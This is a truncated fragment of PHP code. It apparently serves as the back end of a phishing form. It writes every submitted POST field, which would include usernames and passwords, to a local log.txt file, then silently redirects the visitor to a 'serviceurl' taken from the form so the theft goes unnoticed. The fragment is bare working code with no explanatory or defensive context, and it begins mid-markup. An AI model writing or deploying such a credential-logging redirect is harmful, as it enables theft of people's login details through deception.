" method="POST"> document.".$name.".submit()"); } ///CODE////////////////////////// $out = "\r\n\r\n"; foreach($_POST as $ind => $val) { $out = $out.$ind." = ".$val."\r\n"; echo("\n"); } echo("\r\n\r\n
"); $fp = fopen("log.txt", "a"); fwrite($fp, $out); fclose($fp); //Debug echo(""); //form_submit("mydata"); header("Location: ".$_POST["serviceurl"]); ?>